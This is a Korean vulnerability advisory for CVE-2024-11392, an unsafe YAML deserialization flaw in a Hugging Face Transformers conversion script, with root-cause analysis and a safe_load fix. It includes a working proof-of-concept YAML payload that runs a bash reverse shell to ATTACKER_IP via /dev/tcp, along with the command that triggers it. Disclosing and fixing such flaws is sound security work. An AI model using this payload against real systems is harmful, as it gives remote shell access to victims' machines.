
CVE-2024-11392에 대한 기술적 세부 정보 및 익스플로잇
취약점 개요 및 영향:
이 취약점은 공격자가 Hugging Face Transformers 저장소에 있는 convert_mlcvnets_to_pytorch.py 스크립트에 악성 설정 파일을 제공함으로써 호스트 머신에서 임의 코드를 실행할 수 있게 합니다.
의심하지 않는 사용자가 악성 설정 파일이 포함된 타사 모델을 사용할 경우, convert_mlcvnets_to_pytorch.py 스크립트를 실행하면 피해자 시스템에서 원격 코드 실행(RCE)이 발생합니다.
취약 제품
근본 원인 분석
취약점 상세 설명: 이 취약점은 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화로 인해 발생합니다. 스크립트는 yaml.load 함수와 함께 FullLoader 로더를 사용하는데, 이는 전체 YAML 언어를 로드하며 코드 실행에 취약합니다.
입력부터 취약 조건까지의 코드 흐름:
ml-cvnet 모델을 설정 파일과 함께 다운로드합니다.convert_mlcvnets_to_pytorch.py 스크립트를 실행하고 설정 파일을 전달합니다.convert_mlcvnets_to_pytorch.py 스크립트는 설정 파일을 역직렬화하고 악성 코드를 실행합니다.주입 지점: 취약점은 yaml.load(yaml_file, Loader=yaml.FullLoader)가 호출되는 지점에서 발생합니다.
GitHub Permalink: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
제안된 수정 사항: yaml.load(yaml_file, Loader=yaml.FullLoader)를 yaml.safe_load(yaml_file)로 대체하여 임의 코드 실행을 방지하십시오.
개념 증명 실행 방법:
transformers_exploit.yaml을 생성합니다:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py 스크립트를 실행하고 --orig_config_path에 transformers_exploit.yaml 파일을 전달합니다:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
참고: dummy_checkpoint.pt는 빈 파일, dummy_output는 빈 디렉토리, task는 스크립트에 언급된 옵션 중 아무거나 사용해도 됩니다.
소프트웨어 다운로드 링크: https://github.com/huggingface/transformers/tree/main